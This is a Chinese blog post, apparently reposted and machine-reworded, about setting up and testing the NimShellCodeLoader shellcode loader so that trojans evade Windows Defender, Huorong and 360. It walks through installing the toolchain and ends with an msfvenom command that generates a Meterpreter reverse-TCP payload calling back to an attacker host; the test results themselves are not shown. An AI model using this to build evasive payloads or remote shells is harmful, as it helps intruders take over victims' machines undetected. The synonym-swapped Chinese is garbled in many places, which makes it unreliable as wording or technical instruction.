1. 前言
原本看着dayu
师傅在freebuf
上更新了NimShellCodeLoader
免杀的文章,所以想着复现下,但是在复现中发现了很多的坑,原本想着都完成一波的,但是事实上由于种种缘由,生成的木马执行报错、执行不上线、时间问题等问题有很多。我只对其能否可以过Windows Defender
上停止了测试。
项目地址:
https://github.com/aeverj/NimShellCodeLoader
这里也看出了aeverj
真的好凶猛,人家的很多免杀思想能够让我好好学习良久。
这篇文章出不了啥免杀,但是绝对帮你把坑踩平了。
本文一切办法都过不了最新版Windows Defender
,但是大局部办法过火绒,小一半的办法过360
,或者叫过国内主流杀软
应该是没问题的。
本文仅仅是简单的免杀堆叠,没有啥剖析,后续会更新更多的免杀办法。
1.1 工具运用的坑
- 环境装置上有坑
- 编译出来的
exe
报错 - 编译出来的
exe
无法上线(少许加载方式)
相关的issue
在作者的github
上也曾经有了:
https://github.com/aeverj/NimShellCodeLoader/issues/6
https://github.com/aeverj/NimShellCodeLoader/issues/4
1.2 自行编译的坑
我依照作者的源代码停止编译的时分发现,除了Nim
的模块编译,还需求C#
的编译才行,这一点我没认真看,所以大家假如运用的话,能够直接下载作者的最新版直接运用即可。
1. nim引见
Nim
是一种静态类型的、编译型、系统编程言语。它分离了其他成熟言语的胜利概念(如 Python
、Ada
和 Modula
)。(参考:https://nim-lang-cn.org/)
2. 环境准备
测试机1:Windows 10
Windows Defender最新版
测试机2:Windows Server2019
、Windows Defender最新版
、火绒联网最新版
攻击机:Mac
、msf
、cs4.3
在以下测试中,均关闭Windows Defender
最新版的自动上传样本功用。
ps:由于环境问题,这里的免杀根本上没有停止太多的测试,只是提供了一些踩坑日记。
2.1 Nim装置
在https://nim-lang.org/install.html
上选择下载Windows
的
然后选择x64
位的下载:
在Chrome
阅读器下载的时分,会报毒:
在这里直接疏忽就行了:
将得到的文件解压,然后再挪动到C
盘目录下(这个无所谓):
复制bin
目录下的途径:
C:\nim-1.6.4_x64\nim-1.6.4\bin
将该途径添加到环境变量中去:
依照这个步骤,选择系统变量之后,找到Path
,编辑,再新建:
将信息填入之后,保管,翻开cmd
命令窗口,输入nim
:
此时期表Nim
装置胜利;
2.2 装置MinGW
MinGW
是为Nim
编译所必需的,MinGW主要是编译C
、C++
代码用的,在这里一共有两种方式:
- 直接下载
MinGW
装置 - 应用Nim自带的程序
finish.exe
装置
2.2.1 直接装置MinGW
首先依照教程,装置MinGW
在这里有下载链接地址:
https://sourceforge.net/projects/mingw-w64/files/
下载最新版x64
位版本:
64
位系统倡议选择x86_64-posix-sjlj
32
位系统倡议选择i686-posix-sjlj
MingGW64
版本区别于各版本阐明
https://www.pcyo.cn/linux/20181212/216.html
将解压之后的文件放入到C
盘根目录下:
然后来到bin
目录下,运用命令行检查当前的gcc
版本:
gcc.exe --version
然后就是和上面一样,设置系统环境变量:
在控制面板\系统和平安\系统
中,选择高级系统设置\高级\环境变量
,设置环境变量:
将MinGW
添加到系统环境变量中去:
完成之后,确认退出:
在新的命令行中尝试输入gcc.exe --version
此时证明MinGW
装置胜利。
2.2.2 应用Nim自带的程序finish.exe装置
在Nim
的环境中,有一个程序是finish.exe
,能够应用该程序下载MinGW
的装置包:
在命令行里面启动这个文件,一路Y
下去之后,下载完成,应用自带的7z
紧缩工具停止解压,解压之后就是手动配置环境变量。
下载完成之后,来到下载文件的目录:
C:\nim-1.6.4_x64\nim-1.6.4\dist\mingw64\bin
复制该途径,添加到系统变量中去,确认之后,翻开一个新的cmd
窗口,检测环境能否正常:
2.2.3 留意事项
上述的两种办法中只能运用一种,而且前提是先不运用Nim停止编译工作,否则会由于缓存问题招致第二种线上装置的方式编译出错。
2.3 装置winim库
下载地址:https://github.com/khchen/winim
在当前途径下,运用nimble install
装置即可。
3. NimShellCodeLoader原版
NimShellCodeLoader
是由Nim
编写Windows
平台shellcode
免杀加载器,目前最新的版本为2022年2月3日更新的;
版本号为0.3
;
https://github.com/aeverj/NimShellCodeLoader/releases/tag/0.3
下载下来,解压:
当前作者曾经对该文件直接停止了编译,无须再次编译,下面开端测试:
3.1 Windows Defender静态杀毒
当前有Windows Defender
最新版:
此时的Windows Defender
显现平安无毒;
3.2 火绒静态杀毒
4. NimShellCodeLoader源代码编译
留意:当前编译需求c#
编译,在这里我是失败的!!!
从以下链接下载源代码版本:
https://github.com/aeverj/NimShellCodeLoader/releases/tag/0.3
下载之后解压之后放到win10
上,进入encryption
目录下停止编译:
nim c -d:release --opt:size Tdea.nim
nim c -d:release --opt:size Caesar.nim
然后对项目停止C#
编译,我本地没环境。
4. NimShellCodeLoader免杀测试
在下载NimShellCodeLoader
之后,由于没有被杀毒软件查杀,所以在这里我们直接对其停止免杀测试:
首先要做好准备工作:
在攻击机启动msf
,并且生成一个。
4.1 生成shellcode
首先用Msfvenom生成raw格式的shellcode,当前运用了shikata_ga_na编码模块:
生成的监听机器为mac,ip为10.211.55.2,端口:1234
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=1234 -f raw -o payload.bin
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者